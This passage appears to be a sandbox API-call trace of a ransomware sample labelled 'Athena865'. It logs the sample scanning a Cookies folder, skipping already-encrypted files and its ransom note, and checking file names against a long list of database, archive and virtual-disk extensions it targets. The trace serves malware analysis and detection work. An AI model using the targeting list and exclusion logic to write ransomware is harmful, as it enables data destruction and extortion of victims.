lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.432] CloseHandle (hObject=0xf4) returned 1 [0100.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0100.432] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.432] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc58b9ac0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc58b9ac0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0100.432] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.432] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.432] lstrcpyW (in: lpString1=0x241e894, lpString2="5p5nrgjn0js_halpmcxz@adobe[1].txt.Athena865" | out: lpString1="5p5nrgjn0js_halpmcxz@adobe[1].txt.Athena865") returned="5p5nrgjn0js_halpmcxz@adobe[1].txt.Athena865" [0100.432] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@adobe[1].txt.Athena865") returned 43 [0100.432] lstrlenW (lpString="Athena865") returned 9 [0100.432] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.432] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d72bcd0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e6a4bd0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xc57fb3e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x530, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@adobe[3].txt.Athena865", cAlternateFileName="5P5NRG~2.ATH")) returned 1 [0100.432] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[3].txt.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.433] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[3].txt.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.433] lstrcpyW (in: lpString1=0x241e894, lpString2="5p5nrgjn0js_halpmcxz@adobe[3].txt.Athena865" | out: lpString1="5p5nrgjn0js_halpmcxz@adobe[3].txt.Athena865") returned="5p5nrgjn0js_halpmcxz@adobe[3].txt.Athena865" [0100.433] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@adobe[3].txt.Athena865") returned 43 [0100.433] lstrlenW (lpString="Athena865") returned 9 [0100.433] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.433] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d8f4d50, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e658910, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xc5821540, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@demdex[1].txt.Athena865", cAlternateFileName="5P5NRG~3.ATH")) returned 1 [0100.433] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@demdex[1].txt.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.433] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@demdex[1].txt.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.433] lstrcpyW (in: lpString1=0x241e894, lpString2="5p5nrgjn0js_halpmcxz@demdex[1].txt.Athena865" | out: lpString1="5p5nrgjn0js_halpmcxz@demdex[1].txt.Athena865") returned="5p5nrgjn0js_halpmcxz@demdex[1].txt.Athena865" [0100.433] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@demdex[1].txt.Athena865") returned 44 [0100.433] lstrlenW (lpString="Athena865") returned 9 [0100.433] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.433] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1e658910, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e658910, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xc58476a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt.Athena865", cAlternateFileName="5P5NRG~4.ATH")) returned 1 [0100.433] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.433] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.433] lstrcpyW (in: lpString1=0x241e894, lpString2="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt.Athena865" | out: lpString1="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt.Athena865") returned="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt.Athena865" [0100.433] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt.Athena865") returned 48 [0100.433] lstrlenW (lpString="Athena865") returned 9 [0100.433] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.433] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1dcf9270, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1dcf9270, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xc58476a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@everesttech[1].txt.Athena865", cAlternateFileName="5P92A5~1.ATH")) returned 1 [0100.433] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@everesttech[1].txt.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.433] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@everesttech[1].txt.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.433] lstrcpyW (in: lpString1=0x241e894, lpString2="5p5nrgjn0js_halpmcxz@everesttech[1].txt.Athena865" | out: lpString1="5p5nrgjn0js_halpmcxz@everesttech[1].txt.Athena865") returned="5p5nrgjn0js_halpmcxz@everesttech[1].txt.Athena865" [0100.433] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@everesttech[1].txt.Athena865") returned 49 [0100.433] lstrlenW (lpString="Athena865") returned 9 [0100.433] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.433] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86af2d0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x2c7870d0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xc586d800, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x420, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@google[2].txt.Athena865", cAlternateFileName="5PC770~1.ATH")) returned 1 [0100.433] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@google[2].txt.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.433] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@google[2].txt.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.434] lstrcpyW (in: lpString1=0x241e894, lpString2="5p5nrgjn0js_halpmcxz@google[2].txt.Athena865" | out: lpString1="5p5nrgjn0js_halpmcxz@google[2].txt.Athena865") returned="5p5nrgjn0js_halpmcxz@google[2].txt.Athena865" [0100.434] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@google[2].txt.Athena865") returned 44 [0100.434] lstrlenW (lpString="Athena865") returned 9 [0100.434] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.434] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1dcf9270, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1dcf9270, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xc5893960, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x360, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@ml314[1].txt.Athena865", cAlternateFileName="5PAD1D~1.ATH")) returned 1 [0100.434] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@ml314[1].txt.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.434] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@ml314[1].txt.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.434] lstrcpyW (in: lpString1=0x241e894, lpString2="5p5nrgjn0js_halpmcxz@ml314[1].txt.Athena865" | out: lpString1="5p5nrgjn0js_halpmcxz@ml314[1].txt.Athena865") returned="5p5nrgjn0js_halpmcxz@ml314[1].txt.Athena865" [0100.434] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@ml314[1].txt.Athena865") returned 43 [0100.434] lstrlenW (lpString="Athena865") returned 9 [0100.434] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.434] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1e5e64f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e5e64f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xc58b9ac0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@rlcdn[2].txt.Athena865", cAlternateFileName="5P01EA~1.ATH")) returned 1 [0100.434] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@rlcdn[2].txt.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.434] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@rlcdn[2].txt.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.434] lstrcpyW (in: lpString1=0x241e894, lpString2="5p5nrgjn0js_halpmcxz@rlcdn[2].txt.Athena865" | out: lpString1="5p5nrgjn0js_halpmcxz@rlcdn[2].txt.Athena865") returned="5p5nrgjn0js_halpmcxz@rlcdn[2].txt.Athena865" [0100.434] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@rlcdn[2].txt.Athena865") returned 43 [0100.434] lstrlenW (lpString="Athena865") returned 9 [0100.434] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.434] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbce11940, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbce11940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0100.434] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0100.434] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb2a568a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0100.434] lstrcmpiW (lpString1="index.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.434] lstrcmpiW (lpString1="index.dat", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.434] lstrcpyW (in: lpString1=0x241e894, lpString2="index.dat" | out: lpString1="index.dat") returned="index.dat" [0100.434] lstrlenW (lpString="index.dat") returned 9 [0100.434] lstrlenW (lpString="Athena865") returned 9 [0100.434] lstrlenW (lpString=".dll") returned 4 [0100.434] lstrcmpiW (lpString1="index.dat", lpString2=".dll") returned 1 [0100.434] lstrlenW (lpString=".lnk") returned 4 [0100.435] lstrcmpiW (lpString1="index.dat", lpString2=".lnk") returned 1 [0100.435] lstrlenW (lpString=".ini") returned 4 [0100.435] lstrcmpiW (lpString1="index.dat", lpString2=".ini") returned 1 [0100.435] lstrlenW (lpString=".sys") returned 4 [0100.435] lstrcmpiW (lpString1="index.dat", lpString2=".sys") returned 1 [0100.438] lstrlenW (lpString="index.dat") returned 9 [0100.438] lstrlenW (lpString="bak") returned 3 [0100.438] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1 [0100.438] lstrlenW (lpString="ba_") returned 3 [0100.438] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1 [0100.438] lstrlenW (lpString="dbb") returned 3 [0100.439] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1 [0100.439] lstrlenW (lpString="vmdk") returned 4 [0100.439] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1 [0100.439] lstrlenW (lpString="rar") returned 3 [0100.439] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1 [0100.439] lstrlenW (lpString="zip") returned 3 [0100.439] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1 [0100.439] lstrlenW (lpString="tgz") returned 3 [0100.439] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1 [0100.439] lstrlenW (lpString="vbox") returned 4 [0100.439] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1 [0100.439] lstrlenW (lpString="vdi") returned 3 [0100.439] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1 [0100.439] lstrlenW (lpString="vhd") returned 3 [0100.439] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1 [0100.439] lstrlenW (lpString="vhdx") returned 4 [0100.439] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1 [0100.439] lstrlenW (lpString="avhd") returned 4 [0100.439] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1 [0100.439] lstrlenW (lpString="db") returned 2 [0100.439] lstrcmpiW (lpString1="at", lpString2="db") returned -1 [0100.439] lstrlenW (lpString="db2") returned 3 [0100.439] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1 [0100.439] lstrlenW (lpString="db3") returned 3 [0100.439] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1 [0100.439] lstrlenW (lpString="dbf") returned 3 [0100.439] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1 [0100.439] lstrlenW (lpString="mdf") returned 3 [0100.439] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1 [0100.440] lstrlenW (lpString="mdb") returned 3 [0100.440] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1 [0100.440] lstrlenW (lpString="sql") returned 3 [0100.440] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1 [0100.440] lstrlenW (lpString="sqlite") returned 6 [0100.440] lstrcmpiW (lpString1="ex.dat", lpString2="sqlite") returned -1 [0100.440] lstrlenW (lpString="sqlite3") returned 7 [0100.440] lstrcmpiW (lpString1="dex.dat", lpString2="sqlite3") returned -1 [0100.440] lstrlenW (lpString="sqlitedb") returned 8 [0100.440] lstrcmpiW (lpString1="ndex.dat", lpString2="sqlitedb") returned -1 [0100.440] lstrlenW (lpString="xml") returned 3 [0100.440] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1 [0100.440] lstrlenW (lpString="$er") returned 3 [0100.440] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1 [0100.440] lstrlenW (lpString="4dd") returned 3 [0100.440] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1 [0100.440] lstrlenW (lpString="4dl") returned 3 [0100.440] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1 [0100.440] lstrlenW (lpString="^^^") returned 3 [0100.440] lstrcmpiW (lpString1="dat", lpString2="^^^") returned 1 [0100.440] lstrlenW (lpString="abs") returned 3 [0100.440] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1 [0100.440] lstrlenW (lpString="abx") returned 3 [0100.440] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1 [0100.440] lstrlenW (lpString="accdb") returned 5 [0100.440] lstrcmpiW (lpString1="x.dat", lpString2="accdb") returned 1 [0100.440] lstrlenW (lpString="accdc") returned 5 [0100.440] lstrcmpiW (lpString1="x.dat", lpString2="accdc") returned 1 [0100.440] lstrlenW (lpString="accde") returned 5 [0100.440] lstrcmpiW (lpString1="x.dat", lpString2="accde") returned 1 [0100.440] lstrlenW (lpString="accdr") returned 5 [0100.441] lstrcmpiW (lpString1="x.dat", lpString2="accdr") returned 1 [0100.441] lstrlenW (lpString="accdt") returned 5 [0100.441] lstrcmpiW (lpString1="x.dat", lpString2="accdt") returned 1 [0100.441] lstrlenW (lpString="accdw") returned 5 [0100.441] lstrcmpiW (lpString1="x.dat", lpString2="accdw") returned 1 [0100.441] lstrlenW (lpString="accft") returned 5 [0100.441] lstrcmpiW (lpString1="x.dat", lpString2="accft") returned 1 [0100.441] lstrlenW (lpString="adb") returned 3 [0100.441] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1 [0100.441] lstrlenW (lpString="adb") returned 3 [0100.441] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1 [0100.441] lstrlenW (lpString="ade") returned 3 [0100.441] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1 [0100.441] lstrlenW (lpString="adf") returned 3 [0100.441] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1 [0100.441] lstrlenW (lpString="adn") returned 3 [0100.441] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1 [0100.441] lstrlenW (lpString="adp") returned 3 [0100.441] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1 [0100.441] lstrlenW (lpString="alf") returned 3 [0100.441] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1 [0100.441] lstrlenW (lpString="ask") returned 3 [0100.441] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1 [0100.441] lstrlenW (lpString="btr") returned 3 [0100.441] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1 [0100.441] lstrlenW (lpString="cat") returned 3 [0100.441] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1 [0100.441] lstrlenW (lpString="cdb") returned 3 [0100.441] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1 [0100.441] lstrlenW (lpString="ckp") returned 3 [0100.441] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1 [0100.441] lstrlenW (lpString="cma") returned 3 [0100.441] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1 [0100.442] lstrlenW (lpString="cpd") returned 3 [0100.442] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1 [0100.442] lstrlenW (lpString="dacpac") returned 6 [0100.442] lstrcmpiW (lpString1="ex.dat", lpString2="dacpac") returned 1 [0100.442] lstrlenW (lpString="dad") returned 3 [0100.442] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1 [0100.442] lstrlenW (lpString="dadiagrams") returned 10 [0100.442] lstrlenW (lpString="daschema") returned 8 [0100.442] lstrcmpiW (lpString1="ndex.dat", lpString2="daschema") returned 1 [0100.442] lstrlenW (lpString="db-journal") returned 10 [0100.442] lstrlenW (lpString="db-shm") returned 6 [0100.442] lstrcmpiW (lpString1="ex.dat", lpString2="db-shm") returned 1 [0100.442] lstrlenW (lpString="db-wal") returned 6 [0100.442] lstrcmpiW (lpString1="ex.dat", lpString2="db-wal") returned 1 [0100.442] lstrlenW (lpString="dbc") returned 3 [0100.442] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1 [0100.442] lstrlenW (lpString="dbs") returned 3 [0100.442] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1 [0100.442] lstrlenW (lpString="dbt") returned 3 [0100.442] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1 [0100.442] lstrlenW (lpString="dbv") returned 3 [0100.442] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1 [0100.442] lstrlenW (lpString="dbx") returned 3 [0100.442] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1 [0100.442] lstrlenW (lpString="dcb") returned 3 [0100.442] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1 [0100.442] lstrlenW (lpString="dct") returned 3 [0100.442] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1 [0100.442] lstrlenW (lpString="dcx") returned 3 [0100.442] lstrcmpiW (lpString1="dat", lpString2="dcx") returned -1 [0100.442] lstrlenW (lpString="ddl") returned 3 [0100.442] lstrcmpiW (lpString1="dat", lpString2="ddl") returned -1 [0100.442] lstrlenW (lpString="dlis") returned 4 [0100.443] lstrcmpiW (lpString1=".dat", lpString2="dlis") returned -1 [0100.443] lstrlenW (lpString="dp1") returned 3 [0100.443] lstrcmpiW (lpString1="dat", lpString2="dp1") returned -1 [0100.443] lstrlenW (lpString="dqy") returned 3 [0100.443] lstrcmpiW (lpString1="dat", lpString2="dqy") returned -1 [0100.443] lstrlenW (lpString="dsk") returned 3 [0100.443] lstrcmpiW (lpString1="dat", lpString2="dsk") returned -1 [0100.443] lstrlenW (lpString="dsn") returned 3 [0100.443] lstrcmpiW (lpString1="dat", lpString2="dsn") returned -1 [0100.443] lstrlenW (lpString="dtsx") returned 4 [0100.443] lstrcmpiW (lpString1=".dat", lpString2="dtsx") returned -1 [0100.443] lstrlenW (lpString="dxl") returned 3 [0100.443] lstrcmpiW (lpString1="dat", lpString2="dxl") returned -1 [0100.443] lstrlenW (lpString="eco") returned 3 [0100.443] lstrcmpiW (lpString1="dat", lpString2="eco") returned -1 [0100.443] lstrlenW (lpString="ecx") returned 3 [0100.443] lstrcmpiW (lpString1="dat", lpString2="ecx") returned -1 [0100.443] lstrlenW (lpString="edb") returned 3 [0100.443] lstrcmpiW (lpString1="dat", lpString2="edb") returned -1 [0100.443] lstrlenW (lpString="epim") returned 4 [0100.443] lstrcmpiW (lpString1=".dat", lpString2="epim") returned -1 [0100.443] lstrlenW (lpString="fcd") returned 3 [0100.443] lstrcmpiW (lpString1="dat", lpString2="fcd") returned -1 [0100.443] lstrlenW (lpString="fdb") returned 3 [0100.443] lstrcmpiW (lpString1="dat", lpString2="fdb") returned -1 [0100.443] lstrlenW (lpString="fic") returned 3 [0100.443] lstrcmpiW (lpString1="dat", lpString2="fic") returned -1 [0100.443] lstrlenW (lpString="flexolibrary") returned 12 [0100.443] lstrlenW (lpString="fm5") returned 3 [0100.443] lstrcmpiW (lpString1="dat", lpString2="fm5") returned -1 [0100.443] lstrlenW (lpString="fmp") returned 3 [0100.443] lstrcmpiW (lpString1="dat", lpString2="fmp") returned -1 [0100.443] lstrlenW (lpString="fmp12") returned 5 [0100.444] lstrcmpiW (lpString1="x.dat", lpString2="fmp12") returned 1 [0100.444] lstrlenW (lpString="fmpsl") returned 5 [0100.444] lstrcmpiW (lpString1="x.dat", lpString2="fmpsl") returned 1 [0100.444] lstrlenW (lpString="fol") returned 3 [0100.444] lstrcmpiW (lpString1="dat", lpString2="fol") returned -1 [0100.444] lstrlenW (lpString="fp3") returned 3 [0100.444] lstrcmpiW (lpString1="dat", lpString2="fp3") returned -1 [0100.444] lstrlenW (lpString="fp4") returned 3 [0100.444] lstrcmpiW (lpString1="dat", lpString2="fp4") returned -1 [0100.444] lstrlenW (lpString="fp5") returned 3 [0100.444] lstrcmpiW (lpString1="dat", lpString2="fp5") returned -1 [0100.444] lstrlenW (lpString="fp7") returned 3 [0100.444] lstrcmpiW (lpString1="dat", lpString2="fp7") returned -1 [0100.444] lstrlenW (lpString="fpt") returned 3 [0100.444] lstrcmpiW (lpString1="dat", lpString2="fpt") returned -1 [0100.444] lstrlenW (lpString="frm") returned 3 [0100.444] lstrcmpiW (lpString1="dat", lpString2="frm") returned -1 [0100.444] lstrlenW (lpString="gdb") returned 3 [0100.444] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1 [0100.444] lstrlenW (lpString="gdb") returned 3 [0100.444] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1 [0100.444] lstrlenW (lpString="grdb") returned 4 [0100.444] lstrcmpiW (lpString1=".dat", lpString2="grdb") returned -1 [0100.444] lstrlenW (lpString="gwi") returned 3 [0100.444] lstrcmpiW (lpString1="dat", lpString2="gwi") returned -1 [0100.444] lstrlenW (lpString="hdb") returned 3 [0100.444] lstrcmpiW (lpString1="dat", lpString2="hdb") returned -1 [0100.444] lstrlenW (lpString="his") returned 3 [0100.444] lstrcmpiW (lpString1="dat", lpString2="his") returned -1 [0100.444] lstrlenW (lpString="ib") returned 2 [0100.444] lstrcmpiW (lpString1="at", lpString2="ib") returned -1 [0100.444] lstrlenW (lpString="idb") returned 3 [0100.444] lstrcmpiW (lpString1="dat", lpString2="idb") returned -1 [0100.445] lstrlenW (lpString="ihx") returned 3 [0100.445] lstrcmpiW (lpString1="dat", lpString2="ihx") returned -1 [0100.445] lstrlenW (lpString="itdb") returned 4 [0100.445] lstrcmpiW (lpString1=".dat", lpString2="itdb") returned -1 [0100.445] lstrlenW (lpString="itw") returned 3 [0100.445] lstrcmpiW (lpString1="dat", lpString2="itw") returned -1 [0100.445] lstrlenW (lpString="jet") returned 3 [0100.445] lstrcmpiW (lpString1="dat", lpString2="jet") returned -1 [0100.445] lstrlenW (lpString="jtx") returned 3 [0100.445] lstrcmpiW (lpString1="dat", lpString2="jtx") returned -1 [0100.445] lstrlenW (lpString="kdb") returned 3 [0100.445] lstrcmpiW (lpString1="dat", lpString2="kdb") returned -1 [0100.445] lstrlenW (lpString="kexi") returned 4 [0100.445] lstrcmpiW (lpString1=".dat", lpString2="kexi") returned -1 [0100.445] lstrlenW (lpString="kexic") returned 5 [0100.445] lstrcmpiW (lpString1="x.dat", lpString2="kexic") returned 1 [0100.445] lstrlenW (lpString="kexis") returned 5 [0100.445] lstrcmpiW (lpString1="x.dat", lpString2="kexis") returned 1 [0100.445] lstrlenW (lpString="lgc") returned 3 [0100.445] lstrcmpiW (lpString1="dat", lpString2="lgc") returned -1 [0100.445] lstrlenW (lpString="lwx") returned 3 [0100.445] lstrcmpiW (lpString1="dat", lpString2="lwx") returned -1 [0100.445] lstrlenW (lpString="maf") returned 3 [0100.445] lstrcmpiW (lpString1="dat", lpString2="maf") returned -1 [0100.445] lstrlenW (lpString="maq") returned 3 [0100.445] lstrcmpiW (lpString1="dat", lpString2="maq") returned -1 [0100.445] lstrlenW (lpString="mar") returned 3 [0100.445] lstrcmpiW (lpString1="dat", lpString2="mar") returned -1 [0100.445] lstrlenW (lpString="marshal") returned 7 [0100.445] lstrcmpiW (lpString1="dex.dat", lpString2="marshal") returned -1 [0100.445] lstrlenW (lpString="mas") returned 3 [0100.445] lstrcmpiW (lpString1="dat", lpString2="mas") returned -1 [0100.445] lstrlenW (lpString="mav") returned 3 [0100.446] lstrcmpiW (lpString1="dat", lpString2="mav") returned -1 [0100.446] lstrlenW (lpString="maw") returned 3 [0100.446] lstrcmpiW (lpString1="dat", lpString2="maw") returned -1 [0100.446] lstrlenW (lpString="mdbhtml") returned 7 [0100.446] lstrcmpiW 